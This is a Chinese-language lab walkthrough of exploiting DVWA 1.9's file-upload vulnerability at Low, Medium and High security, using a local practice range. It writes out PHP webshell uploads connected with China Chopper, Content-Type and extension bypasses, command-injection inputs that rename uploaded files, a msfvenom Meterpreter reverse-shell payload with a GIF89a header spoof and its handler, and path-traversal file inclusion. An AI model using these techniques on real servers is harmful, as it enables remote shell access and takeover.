DVWA1.9之文件上传漏洞High级多种方法
前言
文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知
本人测试的靶场是通过centos7系统用docker-compose来搭建的一个全能靶场,靶场环境不一样,用的工具也不一定能连上,希望大家请理解一下,谢谢
LOW级别漏洞利用
1、 编辑一句话木马q.php
2、 上传
3、 用菜刀连接
指定连接目录为http://192.168.5.199/hackable/uploads/q.php,参数为cmd,类型为PHP(eval)
4、 双击新添加的条目
5、 获取目标站点目录访问权限
Medium级别
Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型(Content-Type)必须是jpeg或者png,大小不能超过100000B(约为97.6KB)
首先抓包修改文件类型
一句话木马不受大小限制影响
1、 将上面Low等级的q.php更名为w.png(这里说一下可以改jpeg或者png)
2、 上传w.png,并开启抓包
3、 修改上传文件后缀名(把w.png改为w.php)然后点击放包按钮(Forward)上传
4、 上传成功
5、 用菜刀连接
指定连接目录http://192.168.5.199/hackable/uploads/w.php,参数为cmd,类型为PHP(eval)
High级别
High级别的代码读取文件名中最后一个.后的字符串(文件后缀名),期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg、.jpeg 、.png之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型
什么是文件头?
文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分
文件头就是为了描述一个文件的一些重要的属性,文件头告诉了打开并处理该文件的程序这些属性
常见文件的文件头(16进制):
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
Quicken (qdf),文件头:AC9EBD8F
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
可执行文件(EXE),文件头:MZ
这里有几种方法,我一一举例说明
(一):将木马隐藏在图片中绕过(High文件上传+Low命令注入)
1、 首先把medium使用的图片木马w.png更改为c.php
并使用copy命令将木马文件c.php与图片文件e.png合并为t.png
Copy e.png/b+c.php/a t.png
可以看到,一句话木马被添加到图片的尾部
2、 上传成功
3、选择命令注入(Command Injection)
4、用命令注入方式来查看该目录
127.0.0.1|ls …/…/hackable/uploads
6、 然后通过命令注入方式输入以下命令来进行更改文件后缀
127.0.0.1|mv …/…/hackable/uploads/t.png …/…/hackable/uploads/t.php
7、 然后就直接上菜刀
(由于路由器关了一次,这里的IP地址更改了,这里不用担心,操作跟前面Low等级的一样)
指定连接目录http://192.168.5.129/hackable/uploads/t.php,参数为cmd,类型为PHP(eval)
(二):用msfvenom生成的以php代码的图片木马中加入GIF89a;图片欺诈头部绕过(High文件上传+Low文件包含)
注:(在Kali上进行测试,虚拟机要使用桥接模式)
1、 首先用msfvenom生成一个PHP语言的PNG图片木马
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.5.214 lport=3333 >> any.png
2、 上传图片木马
3、 上传失败
出错的英文提示是:您的图像未上载,我们只能接受JPEG或PNG图像。
4、 然后我们用VIM编辑器(这里没限定编辑器)在sam.png图片木马头部加一个代码GIF89a;
5、 再次成功上传图片马
6、 在终端输入msfconsole进入控制台
7、 然后输入以下命令
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lport 3333
set lhost 192.168.5.214
exploit
8、 然后选择Low等级的文件包含
10、在地址栏输入以下的地址并回车
192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/any.png
11、msfconsole控制台就有生成一条会话
12、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件
13、然后我测试一下,随便删除一个文件试试,看看有没有权限,测试成功了
(三):将木马隐藏在图片中绕过(High文件上传+Low等级文件包含)
1、 先用一个txt文本,输入GIF89a;
图片欺诈头部和一句话PHP木马,然后更改后缀名为00.jpg
2、 上传文件00.jpg
3、 更改安全级别为Low
4、 选择文件包含,并在地址栏输入,但先别按回车!!!
http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg
5、 打开burpsuite进行抓包,这里要注意一下,点击开启抓包按钮先不要急着关闭!!!
把Cookie这一行复制下来
6、 打开菜刀
指定连接目录http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg参数为cmd,类型为PHP(eval),字符编码为GB2312
7、 在菜刀的其他空白地方按鼠标右键,点击设置
8、 设置请求头,把刚刚在burpsuite抓包出现的Cookie值复制进去,按照图中的数字顺序进行操作
9、 双击新添加的条目
10、获取目标站点目录访问权限
11、发现刚上传的00.jpg文件在里面,然后测试一下是否有权限删除文件,我随便删除一个文件进行测试,成功了
DVWA1.9之文件上传漏洞High级多种方法相关推荐
- web安全之文件上传漏洞攻击与防范方法
一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...
- dvwa中的文件上传漏洞
环境: Metasploitable2: 192.168.11.157 dvwa版本:Version 1.0.7 (Release date: 08/09/10) kail机器:192.168.11. ...
- 文件上传漏洞——upload-labs(1-10)
前言:文件上传漏洞有很多种绕过技巧,这次就通过upload-labs进行学习 第一关 上传有限制,只让上传JPEG或PNG格式的图片,就先尝试一下抓包修改上传格式的方法看看是否可行 先将一句话木马PH ...
- Web安全—文件上传漏洞
文件上传漏洞 提要:文件上传漏洞属于服务端漏洞,可归纳为文件操作类型中的漏洞. 漏洞简介:文件上传漏洞是Web安全中对数据与代码分离原理的一种攻击方法,顾名思义,攻击者上传了一个可执行文件(木马,病毒 ...
- Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)
文件上传漏洞的概括 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型. 此时攻击者就可以 ...
- kindeditor在服务器上上传图片显示叉叉,什么原因?,kindeditor=4.1.5 文件上传漏洞利用...
kindeditor<=4.1.5 文件上传漏洞 - Kindeditor <=4.1.5 file upload vulnerability and use 漏洞存影响版本:小于等于4. ...
- DVWA靶机-文件上传漏洞(File Upload)
DVWA靶机-文件上传漏洞(File Upload) 文件上传漏洞的四个等级,low,medium,high,impossible,今天我们针对于不同的等级进行基于文件上传漏洞的攻击 DVWA靶机-暴 ...
- 上传图片被防火墙拦截_Web安全:文件上传漏洞
文章来源:计算机与网络安全 一般将文件上传归类为直接文件上传与间接文件上传.直接文件上传就是服务器根本没有做任何安全过滤,导致攻击者可以直接上传小马文件及大马文件(如ASP.ASPX.PHP.JSP及 ...
- php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞
事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...
最新文章
- matplotlib绘制多个子图
- finally块中的代码一定会执行吗?
- 两篇关于MCU的嵌入式应用的文章【ZZ】
- 【ACM】nyoj_540_奇怪的排序_201308050951
- ubuntu12.4上安装minigui3.0.12
- Chrome浏览器对我的改变
- g2 折线图点与点之间直线_科学网—ggplot2实现散点折线图 - 肖斌的博文
- python数据分析笔记中panda(2)
- Cassandra Gossip协议的二三事儿
- Mac mysql 运行sql文件中文乱码的问题
- Scala学习(三、函数)
- 计算机维修的税收编码,维修费税收分类编码是多少?
- AutoCAD Civil 3D 2015-2020
- 404 not found是什么意思
- Unity关于Layer的管理
- mac下安装破解版adobe photoshop cs6
- 【建议收藏】6款高质量Windows软件,好用到无法拒绝
- iOS相册、拍照、iCloud使用
- 火车头定制规则php什么意思,火车头WordPress发布规则写法教程
- 制作卡通(动漫风)效果
热门文章
- 「巨杉学」开展大数据金融人才培养模式探索课题培训
- 神码ai人工智能写作机器人_神经符号AI为我们提供具有真正常识的机器
- 做bs开发需要学习哪些技术
- 找不到凭据分配oracle修正,远程连接身份验证错误,又找不到加密Oracle修正
- mysql的flush privileges指令执行必要性问题
- 单通道说话人语音分离——Conv-TasNet(Convolutional Time-domain audio separation Network)
- 关于Div半透明子元素不透明的问题
- 贾跃亭妻子甘薇被列入老赖名单;360两高管离职;中国联通正式关闭2G丨价值早报...
- 显示qq在线状态的源码
- 外链屏蔽解除?QQ还是打不开淘宝、抖音链接